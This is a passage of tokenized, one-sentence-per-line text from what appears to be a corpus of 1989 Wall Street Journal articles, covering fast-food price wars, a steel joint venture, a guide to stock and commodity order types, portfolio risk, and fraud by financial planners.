have to serve 15 % to 20 % more customers '' to keep sales level . +`` It 's almost as if you 're doing extra work to give away the food , '' he says . +Alan D'Agosto , president of Panda 's Inc. , an operator of Arby 's restaurants in Omaha , says : `` All we 're doing is keeping the customers coming , but we are n't increasing sales . '' +With fast-food outlets on every corner , he , like many , does n't think he has a choice in the price war : `` Our customers say that they wo n't go into a fast-food store unless they get a coupon . '' +If the battle continues much longer , many fast-food businesses will close or merge , predicts Vincent Morrissey , who owns a string of Kentucky Fried Chicken stores in the Midwest . +`` The industry is overbuilt , '' he says . +`` Fast-food franchisers have managed to squeeze in stores into every corner available . '' +The National Restaurant Association says quick-service restaurant units in the U.S. rose 14 % to 131,146 between 1983 and 1987 , the last year for which figures are available . +With the market so crowded , says a spokesman for Wendy 's in Columbus , Ohio , `` If you 're doing well , you 're doing well at someone else 's expense . '' +Simply put , there is n't enough business for every store to grow . +According to Mr. Rohs , inflation-adjusted , same-store sales at company-owned Wendy 's units in the U.S. have trailed year-earlier levels throughout 1989 , except for August . +`` McDonald 's has also been running negative all year , '' the analyst says . +Spokesmen for Wendy 's and McDonald 's criticized Mr. Rohs 's calculations . +Jack Greenberg , executive vice president and chief financial officer of McDonald 's , says the company does n't compute , much less disclose , inflation-adjusted , same-store sales . +He adds that short-term comparisons `` can be very misleading because of differences in timing of marketing programs from year to year . '' +Profit margins at company-owned McDonald 's outlets in the U.S. `` are holding up quite nicely , '' says Mr. Greenberg . +Profits of franchisees have n't been higher since the mid-1970s , he adds . +But Mr. Greenberg 's sanguine outlook is n't matched by many fast-food industry observers . +Smaller chains and single-store operators will be the first to fail , many in the industry predict . +Big franchise groups `` can ride out the storm a lot longer , '' says Mr. Harty , the Burger King operator in New York . +The prolonged price pressures are driving a wedge between some franchisers and their franchisees . +Mr. Morrissey , the Kentucky Fried Chicken franchisee , notes that most franchise owners must absorb increases in expenses without any cut in the royalties , or portion of sales , that they must pay franchisers . +Franchisees ca n't be forced to go along with a franchiser 's discounting . +But once a franchisee agrees to a promotional program , the franchiser can demand full participation to the very end , says Lew Rudnick , a principal of Rudnick & Wolfe , a Chicago law firm with franchise industry clients . +He says courts have held that antitrust considerations are outweighed in such cases by the need to protect consumers from deceptive marketing . +In any case , many franchisees , in order to stay on good terms with franchisers , routinely go along with promotions . +Says Mr. Riese of National Restaurants : `` If you resisted on prices , maybe you would never get that telephone call about a new franchise . +Companies listed below reported quarterly profit substantially different from the average of analysts ' estimates . +The companies are followed by at least three analysts , and had a minimum five-cent change in actual earnings per share . +Estimated and actual results involving losses are omitted . +The percent difference compares actual profit with the 30-day estimate where at least three analysts have issues forecasts in the past 30 days . +Otherwise , actual profit is compared with the 300-day estimate . +Companies listed below reported quarterly profit substantially different from the average of analysts ' estimates . +The companies are followed by at least three analysts , and had a minimum five-cent change in actual earnings per share . +Estimated and actual results involving losses are omitted . +The percent difference compares actual profit with the 30-day estimate where at least three analysts have issues forecasts in the past 30 days . +Otherwise , actual profit is compared with the 300-day estimate . +CalMat Co. said it completed a $ 32.8 million sale of assets from its Los Angeles area real estate portfolio for net income of $ 12 million . +CalMat said the sale is part of its previously announced plan to sell much of its real estate holdings to focus on its core business of mining and producing asphalt , concrete , rock and sand . +And you thought the only reason to save your canceled checks was to prepare for an IRS audit . +Reggie Jackson , the retired baseball star , has found another use for them . +Mr. Jackson , who won the nickname `` Mr. October '' for his World Series exploits , is selling some of his canceled checks to autograph collectors through a dealer for as much as $ 500 each . +Dealers say the budding trade in Mr. Jackson 's canceled checks is unusual . +`` I do n't know of any living ballplayer that 's ever done it , '' says Jack Smalling , a dealer in Ames , Iowa , and a recognized expert in the field of baseball autographs . +An initial batch of Mr. Jackson 's checks was on sale at a baseball-card show held in San Francisco over Labor Day weekend . +Mr. Jackson showed up at the affair to sign autographs for a fee as well . +`` For someone who has everything else -- Reggie 's jersey , cap and cards -- his checks might be a nice addition , '' says William Vizas , owner of Bill 's Sports Collectibles in Denver , who examined the checks at the San Francisco card show . +For years , the canceled checks of a small number of well-known baseball players have been bought and sold . +But these players were dead . +`` Maybe three years ago , there were a lot of -LCB- Ty -RCB- Cobbs in the hobby , and awhile back there were Babe Ruth checks , '' says Mr. Smalling . +However , the thought of a living player selling his checks rubs some people the wrong way . +`` Maybe I 'm a little stuffy , but I would n't sell them , '' sniffs Bob Machon , owner of Papa 's Sports Cards in Menlo Park , Calif . +`` Who knows how much they 'll be worth 100 years from now ? '' +And Mr. Smalling does n't believe they 're worth all that much now . +`` I do n't think the checks are worth $ 15 apiece , '' he says . +Why Mr. Jackson , who could n't be reached for comment , has made some of his checks available for sale is n't clear . +He probably has n't done it for the cash . +`` I would say he 's definitely not in need of money , '' says Matt Merola , an agent of Mr. Jackson 's based in New York . +`` He has good investments . '' +And Mr. Jackson probably has opened new checking accounts , too . +Or at least he should . +`` I assume those accounts are closed , '' says Mr. Smalling , referring to the accounts of the canceled checks . +`` I do n't think he 'd want to give out his current account numbers . +USX Corp. and its Japanese partner , Kobe Steel Ltd. , agreed to form a joint venture to build a new plant to produce hot-dipped galvanized sheet products , mainly for the automotive market . +Terms were n't disclosed for the plant , which will have annual capacity of 600,000 tons . +The move by the nation 's largest steelmaker follows a string of earlier announcements by other major steel companies . +Bethlehem Steel Corp. , LTV Corp. and Armco Inc. all have plans to build additional lines for such coated corrosion-resistant steel . +The surge in production , analysts say , raises questions about capacity outpacing demand . +They note that most of the new plants will come on line in 1992 , when the current import trade restraint program ends , which could result in more imports . +`` There 's too much capacity , '' contended Charles Bradford , an analyst with Merrill Lynch Capital Markets . +`` I do n't think there 's anyone not building one . '' +He does add , however , that transplanted Japanese car makers are boosting the levels of U.S.-made steel in their autos , instead of relying heavily on imported steel . +That trend could increase demand for hot-dipped galvanized sheet . +The hot-dipped galvanized segment is one of the fastest-growing and most profitable segments of the steel market , coveted by all major integrated steelmakers wanting to maintain an edge over smaller minimills and reconstructed mills -- those spun off to employees . +Indeed , USX said it expects the market for coated sheet steel to reach 12 million tons annually by 1992 , compared with 10.2 million tons shipped in 1988 . +For the first eight months of 1989 , analysts say shipments of hot-dipped galvanized steel increased about 8 % from a year earlier , while overall steel shipments were up only 2.4 % . +USX and Kobe Steel hope to reach a definitive agreement establishing the 50-50 partnership by the end of the year , with construction tentatively slated for the spring of 1990 and production by 1992 . +USX already has six lines in existing plants producing hot-dipped galvanized steel , but this marks the first so-called greenfield plant for such production . +Moreover , it will boost by 50 % USX 's current hot-dipped capacity of 1,275,000 tons . +The company said it does n't expect the new line 's capacity to adversely affect the company 's existing hot-dipped galvanizing lines . +Steelmakers have also been adding capacity of so-called electrogalvanized steel , which is another way to make coated corrosion-resistant steel . +One of the advantages of the hot-dipped process is that it allows the steel to be covered with a thicker coat of zinc more quickly . +ONCE YOU MAKE UP your mind about an investment , the rest is easy , right ? +You just call your broker and say `` buy '' or `` sell . '' +Dream on . +There are all sorts of ways to give buy and sell instructions to a broker -- and just as many ways to get burned if you do n't know what you 're doing . +So here 's a rundown of the most common types of market orders permitted by the stock and commodity exchanges . +Two things to keep in mind : Not all exchanges accept every type of order . +And even when a specific order is acceptable to an exchange , a brokerage firm can refuse to enter it for a customer . +Market Order : This is probably the most widely used order -- and the one most open to abuse by unscrupulous floor brokers , since it imposes no price restrictions . +With a market order , an investor tells a broker to buy or sell `` at the market . '' +It 's like saying , `` get me in now '' or `` get me out now . '' +For example , if wheat is being offered at $ 4.065 and bid at $ 4.060 , a market order to buy would be filled at the higher price and a market order to sell at the lower price . +A recent indictment alleges that some floor brokers at the two largest Chicago commodity exchanges used market orders to fill customers ' orders at unfavorable prices by arranging trades with fellow brokers . +Profits realized from these trades would then be shared by the conspiring brokers . +Limit Order : Limit orders are used when investors want to restrict the amount they will receive or pay for an investment . +Investors do this by specifying a minimum price at which the investment may be sold or the maximum price that may be paid for it . +Suppose an investor wants to sell a stock , but not for less than $ 55 . +A limit order to sell could be entered at that price . +One risk : Investors may regret the restriction if the stock reaches 54 and then falls . +Unless the market goes at least one tick -LRB- the smallest price increment permitted -RRB- beyond the limit price , investors are n't assured of having their orders filled because there may not be sufficient trading volume to permit filling it at the specified price . +Stop Order : Stop orders tell a floor broker to buy or sell an investment once the price reaches a certain level . +Once the price reaches that level , a stop order turns into a market order , and the order is filled at whatever price the broker can get . +Stop orders are sometimes called `` stop-loss '' orders because they are frequently used to protect profits or limit losses . +While stop orders sound similar to limit orders , there is a difference : Sell stops must be entered at a price below the current market price and buy stops above . +In contrast , sell limit orders must be placed above the market price and buy limit orders are placed below . +The crash in October 1987 and last Friday 's sell-off painfully taught some investors exactly what stop orders will and wo n't do . +An investor who may have placed a stop-loss order at $ 90 under a stock that was trading at $ 100 a share on the Friday before the crash was stunned to discover that the order was filled at $ 75 when the stock opened at that price on Monday . +Stop-Limit Order : Stop-limit orders turn into limit orders when an investment trades at the price specified in the order . +Unlike stop orders -- which are filled at the market price when the stop price is hit -- stop-limit orders demand that the trades be made only at the specified price . +If it ca n't be made at that price , it does n't get filled . +Investors who wish to be out of a position , without the risk of receiving a worse-than-expected price from a market order , may use this type of order to specify the price at which the order must be filled . +But if the market moves quickly enough , it may be impossible for the broker to carry out the order because the investment has passed the specified price . +Market-If-Touched Order : Market-if-touched orders are like stop orders in that they become market orders if a specified price is reached . +However , unlike a buy-stop order , a buy market-if-touched order is entered at a price below the current price , while a sell market-if-touched order is entered at a price above it . +As soon as the market trades at the specified price the floor broker will fill it at the best possible price . +Fill-Or-Kill Order : The fill-or-kill order is one of several associated with the timing of trades . +It instructs a broker to buy or sell an investment at the specified price or better . +But if the investment ca n't be bought or sold immediately , the order is automatically canceled . +Gregory Bessemer , who came in second in the stock division of the recently completed U.S. Trading Championship , says he uses fill-or-kill orders almost exclusively when trading options . +`` I like to use them to feel out the market , '' he says . +`` If they do n't fill it immediately , then I can start over at a new price or try again with the same price . '' +Not-Held Order : This is another timing order . +It is a market order that allows floor brokers to take more time to buy or sell an investment , if they think they can get a better price by waiting . +Not-held orders , which are also known as `` disregard the tape '' orders , are always done at the customer 's risk . +One-Cancels-The-Other Order : This is really two orders in one , generally for the same security or commodity , instructing floor brokers to fill whichever order they can first and then cancel the other order . +In a fast-moving market , it prevents an investor from getting stuck with having made two trades on the same security . +Specific-Time Order : This type of order couples many of the orders described above with instructions that the order must be carried out at or by a certain time . +`` On the close '' can be added to many types of orders . +For example , `` market-on-close orders '' must be filled during the last few minutes of trading for the day at a price that is within the official closing range of prices as determined by the exchange . +`` Stop-close-only orders '' are stop orders that only become active during the closing minutes of trading . +`` Day orders '' expire at the end of the day on which they are entered , `` good-till-canceled orders '' have no expiration date . +Most brokers assume that all orders are day orders unless specified otherwise . +On Oct. 19 , 1987 , some investors learned the consequences of entering `` good-til-canceled limit orders '' and then forgetting about them . +They found they had bought stock from limit orders that they might have entered weeks or months earlier and had forgotten to cancel . +It is always the responsibility of investors to keep track of the orders they have placed . +Investors who change their mind about buying or selling after an order has been filled are , usually , stuck with the consequences . +Mr. Angrist writes on the options and commodities markets for The Wall Street Journal . +IN SIZING UP the risks of stock-market investments , there 's probably no starting place better than `` beta . '' +But investors better not ignore its limitations , either . +Beta is a handy gauge that measures the volatility of a stock or stock mutual fund . +For any given move in the overall market , it suggests how steeply that particular issue might rise or fall . +Beta figures are widely available and easy to interpret . +The beta of the broad market , typically defined as the Standard & Poor 's 500-stock index , is always 1.0 . +So a stock with a beta of 0.5 is half as volatile , one at 1.5 is 50 % more volatile , and so on . +Cautious investors should generally go with stocks that have low betas . +Go with high-beta stocks to get the biggest payoff from a bet on a bull market . +Remember , though , that beta also has important limitations . +`` Beta is only part of the risk in a stock , '' says William F. Sharpe , the Stanford University emeritus professor who developed the measure . +`` There is risk that is not associated with market moves , and the beta does n't tell you the magnitude of that . '' +In particular , beta does n't measure the company - and industry-specific risk associated with an individual stock . +That `` business '' risk is very significant for an investor with only a few stocks , but it virtually disappears in a large and well-diversified portfolio . +Beta is also a poor indicator of the risk in stock groups that march to their own drummer . +In particular , the prices of gold and other precious-metals stocks shoot up and down , but the stocks tend to have low betas because their moves are not market-inspired . +Concern that investors could misinterpret such readings led the American Association of Individual Investors to eliminate beta figures for precious-metals funds in the 1989 edition of its mutual-fund guide . +`` Our fear was people would look just at the beta -LCB- of a gold fund -RCB- and say here is an investment with very low risk , '' says John Markese , director of research for the Chicago-based group . +`` In reality it 's very volatile , but the movements are not because of market movements . +READY TO REVIEW the riskiness of your investment portfolio ? +First , a pop quiz . +When you think of the words `` risk '' and `` investment , '' what 's the specific peril that comes to mind ? +Pencils down . +If you 're like most people , you said it 's a holding that goes completely sour -- maybe a bond that defaults or a stock whose value disappears in a bankruptcy proceeding . +`` People tend to see risk primarily on that one dimension , '' says Timothy Kochis , national director of personal financial planning for accountants Deloitte , Haskins & Sells . +But therein lies another aspect of investment risk : the hazard of shaping your portfolio to avoid one or more types of risk and being blind-sided by others . +This is clearly not good news to all you people who sleep like babies every night , lulled by visions of your money sitting risk-free in six-month CDs . +Risk wears many disguises , and investments that are low in one type of obvious risk can be distressingly high in other , less obvious kinds . +U.S. Treasury bonds , for example , are supersafe when it comes to returning money at maturity . +But their value as investments can be decimated by inflation , which erodes the purchasing power of bonds ' fixed-dollar interest payments . +Risk is also a function of time . +When financial professionals measure risk mathematically , they usually focus on the volatility of short-term returns . +Stocks are much riskier than Treasury bills , for example , because the range in performance from the best years to the worst is much wider . +That is usually measured by the standard deviation , or divergence , of annual results from the average return over time . +But investors who are preoccupied with short-term fluctuations may be paying too little attention to another big risk -- not generating enough money to meet long-term financial and life-style goals . +For instance , some investors have sworn off stocks since the 1987 market crash ; last Friday 's debacle only reinforced those feelings . +But the stock market , despite some stomach-churning declines , has far outperformed other securities over extended periods . +By retreating to the apparent security of , say , money-market funds , investors may not be earning enough investment return to pay for a comfortable retirement . +`` That 's the biggest risk of all -- the risk of not meeting your objectives , '' says Steven B. Enright , a New York financial planner with Seidman Financial Services . +As a result , financial advisers say they take several steps when evaluating the riskiness of clients ' portfolios . +They estimate the return a person 's current portfolio is likely to generate over time , along with a standard deviation that suggests how much the return will vary year by year . +They try to figure out the long-term results the person needs to meet major goals . +And they eyeball types of risk that are not easily quantified . +The portfolios of two hypothetical families , one a couple at retirement age and another a two-income couple at age 45 , illustrate several types of risk that investors need to consider . +For instance , the insured municipal bonds that dominate the older couple 's portfolio were probably selected in large part for their low repayment risk . +But they expose the holders to a lot of inflation risk and interest-rate risk . +The younger couple 's stockholdings involve more risk than a diversified stock portfolio because the bulk of the money is in a single issue . +Note that the younger couple 's portfolio has a higher expected annual return , 10.1 % vs. 8.8 % , as calculated by Seidman Financial Services , which is the financial-planning affiliate of BDO Seidman . +That largely reflects the heavy stockholdings . +But one price paid for the higher expected return is greater short-term volatility , as reflected in the higher standard deviation that Seidman estimates for the younger couple 's portfolio . +-LRB- Here 's how to interpret a standard deviation figure : Take the expected return and add one standard deviation to it . +Then take the expected return and subtract one standard deviation . +In two of three years , the actual result should fall within that range if all the assumptions were accurate . +Then add and subtract two standard deviations to get a wider range . +There 's a 95 % probability any year 's result will fall in the range . -RRB- +Of course , the greater volatility of the younger couple 's portfolio does n't necessarily mean those investments are riskier in terms of meeting the holders ' long-term goals . +Indeed , the older couple 's portfolio could actually be riskier in that sense if the expected return wo n't generate enough dollars to meet their spending plans . +`` They may feel emotionally secure now because they are not heavily in the stock market , '' says John H. Cammack , a financial planner with Alexandra Armstrong Advisors Inc. in Washington . +`` But they may pay a price 10 or 20 years in the future . '' +Ms. Slater reports on personal finance from The Wall Street Journal 's New York bureau . +When it comes to investing , trying to weigh risk and reward can seem like throwing darts blindfolded : Investors do n't know the actual returns that securities will deliver , or the ups and downs that will occur along the way . +Looking to the past can provide some clues . +Over several decades , for instance , investors who put up with the stock market 's gyrations earned returns far in excess of those on bonds and `` cash '' investments like Treasury bills . +But while history can suggest what is reasonable to expect there 's no guarantee that the past will repeat itself . +For instance , some analysts believe bond returns and volatility have moved permanently closer to those of the stock market . +And returns on cash investments may continue to exceed inflation by a wider margin than they did over the long-term past . +Portfolio A : Retired couple , age 65 ; $ 400,000 portfolio . +Portfolio B : Two-income couple , age 45 ; $ 150,000 portfolio . +A letter from Senator John Kerry chides us today for implying that he had `` flip-flopped '' on Manuel Noriega . +He correctly says he has been down on Noriega for some time , hence his criticism of administration mishandling of the attempted coup . +Our October 12 editorial should have been more precise . +It meant to convey our hope that the Senator and other members of the congressional left are broadening their dislike of Noriega to include other notorious Central American drug runners . +The Sandinistas of Nicaragua , for example , also are part of the Castro-Medellin cartel nexus . +In his letter and on the basis of his losing vote Tuesday against U.S. aid for the Nicaraguan opposition , Senator Kerry makes clear he has not made that intellectual leap . +We were wrong . +THROUGHOUT THE 1980s , investors have been looking for creative alternatives to traditional modes of financial planning . +Capital has been democratized , and people want in . +Too often , however , small investors are left with the same stale solutions that appealed to previous generations of fiduciary strategists . +Now a startling new approach is available to building your financial portfolio without undue risk , without extensive planning and without hurting your life style one bit ! +This is particularly good news for those who hate risk , who are incapable of doing extensive amounts of planning and who refuse to see their life styles hurt in any way . +You know who you are . +My revolutionary system is also useful for those who have tried customary forms of growing their currency cushion . +Like all Americans seeking chronic prosperity , I do find it necessary to plunge certain funds into conservative monetary tools , if only to assuage my father-in-law , who believes in such things . +So throughout the decade I have maintained my share of individual retirement accounts and CDs , and tinkered with stocks , bonds and mutual funds , as well as preserving my necessary position in the residential real-estate market . +Return on this fine portfolio has been modest when it has not been negative . +Figure 1 demonstrates the performance of those businesses I 've invested in during this prosperous decade -LRB- see accompanying illustration -- WSJ Oct. 20 , 1989 -RRB- . +Oil-related properties suffered a huge decline until I divested myself of all such stocks in 1985 , at which point the industry , while not lighting up any Christmas trees , began a slow recovery . +Likewise , mutual funds remained relatively flat until I made what was , for me , a serious investment . +By 1987 , these properties were in a tailspin , causing my broker at Pru-Bache to remark that she 'd `` never seen anything like it . '' +Concerned for her state of mind , I dropped them -- and the market instantly began its steady climb back to health . +Perhaps most dramatic was the performance of the metropolitan New York real-estate market , which was booming until I entered it in late 1988 , at which time it posted the first negative compound annual growth rate in years . +Disgusted , I cast around for a different way to plan my asset distribution , and with hardly any heavy breathing the answer struck me : I was doing it already ! +We 've all got money to spend , some of it clearly disposable since we keep disposing of it . +Bank it ? +Not really ! +Sock it away in long-term instruments ? +Nonsense ! +Daily living is the best possible investment ! +Your priorities may be different , but here in Figure 2 is where I 've chosen to build for the future : personal space ; automotive pursuits ; children 's toys ; gardening equipment , bulbs and shrubs ; and finally , entertainment , perhaps the best investment of all . +All have paid off for me in double-digit annual growth and continue to provide significant potential . +At least , according to my calculations . +Personal space -LRB- Figure 3 -RRB- has grown 35 % annually over the course of the decade , a performance that would compare positively with an investment in , say , synthetic-leather products for the interiors of cold-weather vehicles , which my cousin got into and sort of regrets to this day . +The assortment of expensive children 's toys that I have purchased wisely at a host of discount-toy brokerage firms -LRB- Figure 4 -RRB- has increased handsomely in total asset value far beyond any personal investment except , perhaps , for my record collection , whose worth , I think it 's safe to say , is incalculable . +Continued investment in my 1984 subcompact has been part of my strategy -LRB- Figure 5 -RRB- , with present annual contributions now equaling more than 60 % of the car 's original value . +According to my calculations , these outlays should have brought the value of my sedan to more than $ 22,000 on the open market -LRB- Figure 6 -RRB- , where I plan to offer it shortly . +Expansion of my living space has produced an obvious need for maintenance and construction of suitable lawns , shrubs and bushes fitting to its suburban locale . +I have thus committed sufficient personal outlay to ensure that my grounds and lodgings will never be short of greens and flowers . +My initial stake in this blooming enterprise has grown tenfold , according to my conservative calculations . +At the same time , my share in a wide variety of entertainment pursuits has given perhaps the most dramatic demonstration of the benefits of creative personal financial planning . +Over the course of the decade , for instance , my return on investment in the area of poker alone -LRB- Figures 7A and 7B -RRB- has been most impressive , showing bodacious annual expansion with -- given the way my associates play -- no sign of abatement into the 1990s and beyond . +With this personal strategy firmly in place , I look forward to years of fine life-style investments and increasing widespread leverage . +My kids ' college education looms as perhaps the greatest future opportunity for spending , although I 'll probably have to cash in their toy portfolio to take advantage of it . +But with every step I take , I 'm building wealth . +You can , too , if you , like me , refuse to bite the bullet . +So go out there and eat that debt . +You 're right there in the mainstream of American business , building value on the back of insupportable expenditures . +Henry Kravis , watch out ! +Mr. Schwartz is a business executive and writer in New York . +WHEN JAMES SCHWARTZ was just a lad his father gave him a piece of career advice . +`` He told me to choose an area where just by being mediocre I could be great , '' recalls Mr. Schwartz , now 40 . +He tried management consulting , traded in turquoise for a while , and even managed professional wrestlers . +Now he has settled into a career that fits the bill -- financial planning . +It should be noted that Mr. Schwartz , who operates out of Englewood , Colo. , is a puckish sort who likes to give his colleagues the needle . +But in this case the needle has a very sharp point . +Though it 's probably safe to assume that the majority of financial planners are honest and even reasonably competent , the fact remains that , as one wag puts it , `` anybody who can fog a mirror '' can call himself a financial planner . +Planners now influence the investment of several hundred billion dollars , but in effect they operate in the dark . +There is no effective regulation of planners , no accepted standard for admission into their ranks -- a dog got into one trade group -- no way to assess their performance , no way even to know how many of them there are -LRB- estimates range from 60,000 to 450,000 -RRB- . +All anyone need do is hang up a shingle and start planning . +So it should come as no shock that the profession , if that 's what it is , has attracted a lot of people whose principal talents seem to be frittering away or flat-out stealing their clients ' money . +Alarmed , state and federal authorities are trying to devise ways to certify and regulate planners . +Industry groups and reputable planners who are members of them want comprehensive standards , too ; they 're tired of seeing practitioners depicted collectively in the business press as dumber than chimpanzees and greedier than a herd of swine . +But reform has n't taken hold yet . +`` The industry is still pretty much in its Wild West days , '' says Scott Stapf , director of investor education for the North American Securities Administrators Association . +An admittedly limited survey by NASAA , whose members are state securities-law regulators , found that between 1986 and 1988 `` fraud and abuse '' by financial planners cost 22,000 investors $ 400 million . +The rogues ' gallery of planners involved includes some convicted felons , a compulsive gambler or two , various businessmen who had planned their own previous ventures right into bankruptcy , and one man who scammed his wife 's grandmother . +What 's more , the losses they and the others caused `` are just what we are stumbling over , '' says Mr. Stapf , adding that the majority of misdeeds probably go undetected . +So do just about all the losses that could be attributed to the sheer incompetence of unqualified planners . +Nobody can estimate the toll , but John Gargan , a Tampa , Fla. , planner and head of one trade group , the International Association of Registered Financial Planners , thinks the danger to investors from incompetence is `` humongous , '' far greater than that from crookery . +His group , like others , wants minimum standards applied to all who call themselves financial planners . +Surveying all this , some people now think the best planner might be no planner at all . +For most investors `` the benefits just are n't worth the risks , '' says Barbara Roper , who follows financial-planning issues for the Consumer Federation of America , a consumer-advocacy organization based in Washington . +She concedes that such a position is `` unfair '' to the thousands of conscientious and qualified people plying the trade , but as a consumer advocate she feels impelled to take it . +She says her group used to give tips on selecting planners -- check educational and experience credentials , consult regulators and Better Business Bureaus -- but found that even some people who took these steps `` were still getting ripped off . '' +The bad news , however , has n't been bad enough to kill the growing demand for financial planning . +The Tax Reform Act of 1986 , which eliminated many tax shelters peddled by planners , and the stock market crash the next year did cause a sharp slump in such demand , and many planners had to make an unplanned exit from the business . +But membership in the International Association of Financial Planners -LRB- IAFP -RRB- , the industry 's biggest trade group , is still nearly triple what it was in 1980 , and it 's believed that the ranks of planners who do n't belong to any group have soared as well . +An estimated 10 million Americans are now using financial planners , and the pool of capital they influence is enormous . +A survey of 54,000 of them conducted by the IAFP in April showed that these practitioners alone had controlled or guided the investment of $ 154 billion of their clients ' money in the previous 12 months . +The sheer number of planners makes the business extremely difficult , if not impossible , to regulate . +Even the minority of them who must register with the Securities and Exchange Commission as `` investment advisers '' -- people who are in the business of counseling others on the buying and selling of securities specifically -- have been enough to swamp the agency 's capacity . +The SEC has only about 200 staffers assigned to keep tabs on investment advisers -- about the same as in 1980 -- even though the number of advisers has tripled to about 15,000 over the past decade . +Currently , a registered investment adviser can expect an SEC audit only once every 12 years . +A lot of bad things can happen in 12 years . +`` It does n't take a rocket scientist to figure out our problem , '' says Kathryn McGrath , director of the SEC 's division of investment management . +So the SEC has proposed to Congress that much of the job of oversight be turned over to an industry-funded , self-regulatory organization patterned on the National Association of Securities Dealers , which operates in the brokerage business . +Such an organization could , among other things , set minimum standards for competence , ethics and finances and punish those investment advisers who broke the rules . +The proposal has set off a lively debate within an industry that was far from united to begin with . +Mr. Schwartz , the puckish planner from Englewood , Colo. , says that allowing the business to police itself would be `` like putting Dracula in charge of the blood bank . '' +Mr. Gargan , the Tampa planner who heads one trade group , favors simply assessing the industry and giving the money to the SEC to hire more staff . +-LRB- Mr. Gargan 's views are not greeted with wild enthusiasm over at the IAFP , the major industry organization . +When the IAFP recently assembled other industry groups to discuss common standards that might be applied to planners , Mr. Gargan 's group was excluded . +That may be because Mr. Gargan , smarting at what he considered slurs on his membership standards made by the rival group , enrolled his dog , Beauregard , as a member of the IAFP . +Then he sent the pooch 's picture with the certificate of membership -- it was made out to `` Boris ` Bo ' Regaard '' -- to every newspaper he could think of . -RRB- +The states have their own ideas about regulation and certification . +NASAA , the organization of state securities regulators , is pushing for a model regulatory statute already adopted in eight states . +It requires financial planners to register with states , pass competency tests and reveal to customers any conflicts of interest . +The most common conflict involves compensation . +NASAA estimates that nearly 90 % of planners receive some or all of their income from sales commissions on securities , insurance and other financial products they recommend . +The issue : Is the planner putting his clients into the best investments , or the ones that garner the biggest commissions ? +In 1986 the New York attorney general 's office got an order from a state court in Albany shutting down First Meridian Corp. , an Albany financial-planning firm that had invested $ 55 million on behalf of nearly 1,000 investors . +In its notice of action , the attorney general said the company had promised to put clients into `` balanced '' investment portfolios ; instead , the attorney general alleged , the company consistently shoved unwary customers into high-risk investments in paintings , coins and Florida condos . +Those investments paid big commissions to First Meridian , payments investors were never told about , the attorney general alleged . +Investors were further assured that only those with a minimun net worth would be accepted . +In practice , the attorney general alleged in an affidavit , if an investor had access to cash `` the chances of being turned down by First Meridian were about as probable as being rejected by the Book-of-the-Month Club . '' +And , the attorney general added , First Meridian 's president , Roger V. Sala , portrayed himself as a `` financial expert '' when his qualifications largely consisted of a high-school diploma , work as a real-estate and insurance salesman , and a stint as supervisor at a highway toll booth . +First Meridian and its officials are currently under investigation for possible criminal wrongdoing , according to a spokeswoman for the attorney general . +Harry Manion , Mr. Sala 's attorney , says his client denies any wrongdoing and adds that the attorney general 's contentions about First Meridian 's business practices are incorrect . +As for Mr. Sala 's qualifications , `` the snooty attorneys for the state of New York decided Mr. Sala was n't qualified because he did n't have a Harvard degree , '' says Mr. Manion . +Civil suits against planners by clients seeking recovery of funds are increasingly common . +Two such actions , both filed earlier this year in Georgia state court in Atlanta , could be particularly embarrassing to the industry : both name J. Chandler Peterson , an Atlanta financial planner who is a founder and past chairman of the IAFP , as defendant . +One suit , filed by more than three dozen investors , charges that Mr. Peterson misused much of the $ 9.7 million put into a limited partnership that he operated and promoted , spending some of it to pay his own legal bills and to invest in other companies in which he had an interest . +Those companies , in turn , paid Mr. Peterson commissions and fees , the suit alleges . +The other suit was filed by two men in a dispute over $ 100,000 investments each says he made with Mr. Peterson as part of an effort to purchase the Bank of Scottsdale in Scottsdale , Ariz . +One plaintiff , a doctor , testified in an affidavit that he also gave Mr. Peterson $ 50,000 to join a sort of investment club which essentially gave the physician `` the privilege of making additional investments '' with Mr. Peterson . +In affidavits , each plaintiff claims Mr. Peterson promised the bank purchase would be completed by the end of 1988 or the money returned . +Mr. Peterson took the plaintiffs ' and other investors ' money to a meeting of the bank 's directors . +Wearing a business suit and western-style hat and boots , he opened up his briefcase and dumped $ 1 million in cash on a table in front of the directors , says Myron Diebel , the bank 's president . +`` He said he wanted to show the color of his money , '' recalls Mr. Diebel . +Bank officials , however , showed him the door , and the sale never came off . +According to the suit , Mr. Peterson has yet to return the plaintiffs ' investment . +They want it back . +Mr. Peterson declines to comment on specific allegations in the two suits , saying he prefers to save such responses for court . +But he does say that all of his activities have been `` entirely proper . '' +On the suit by the limited partners , he says he is considering a defamation suit against the plaintiffs . +The suit , he adds , `` is almost in the nature of a vendetta by a handful of disgruntled people . '' +Rearding the suit over the bank bid , Mr. Peterson says it is filled with `` inflammatory language and half truths . '' +He declines to go into specifics . +Mr. Peterson says the suits against him are less a measure of his work than they are a `` sign of the times '' in which people generally are more prone to sue . +`` I do n't know anybody in the industry who has n't experienced litigation , '' he says . +Mr. Peterson also says he does n't consider himself a financial planner anymore . +He now calls himself an `` investment banker . '' +In many scams or alleged scams involving planners , it 's plain that only a modicum of common sense on the part of the investors would have kept them out of harm 's way . +Using it , would n't a proessional hesitate to pay tens of thousands of dollars just for a chance to invest witha planner ? +Other cases go to show that an old saw still applies : If it sounds too good to be true , it probably is . +Certificates of deposit do n't pay 23 % a year , for example , but that did n't give pause to clients of one Alabama planner . +Now they 're losers and he 's in jail in Mobile County . +CDs yielding 40 % are even more implausible -- especially when the issuing `` bank '' in the Marshall Islands is merely a mail drop watched over by a local gas-station operator -- but investors fell for that one too . +And the Colorado planner who promised to make some of his clients millionaires on investments of as litle as $ 100 ? +Never mind . +You already know the answer . +Mr. Emshwiller is a staff reporter in The Wall Street Journal 's Los Angeles bureau . +At the ritzy Fashion Island Shopping Center , the tanned and elegant ladies of this wealthy Southern California beach community disembark from their Mercedes-Benzes and BMWs for another day of exercising their credit cards . +They root among the designer offerings at Neiman-Marcus and Bullocks Wilshire . +They stroll through the marble-encased corridors of the Atrium Court . +They graze at the Farmers Market , a combination gourmet food court and grocery store , while a pianist accompanies the noon fashion show with a selection of dreamy melodies . +`` The beautiful look of wool , '' croons the show 's narrator , `` slightly Victorian in its influence ... . '' +Meanwhile , in the squat office buildings that ring Fashion Island , the odds are good that someone is getting fleeced . +Law-enforcement authorities say that at any given time , a host of fraudulent telemarketing operations mingle with the many legitimate businesses here . +`` They seem to like these industrial parks , '' says Kacy McClelland , a postal inspector who specializes in mail fraud . +`` We call them fraud farms . '' +Welcome to that welter of contradictions known as Newport Beach . +This city of more than 70,000 is known for sunshine , yachts and rich residents . +It is also 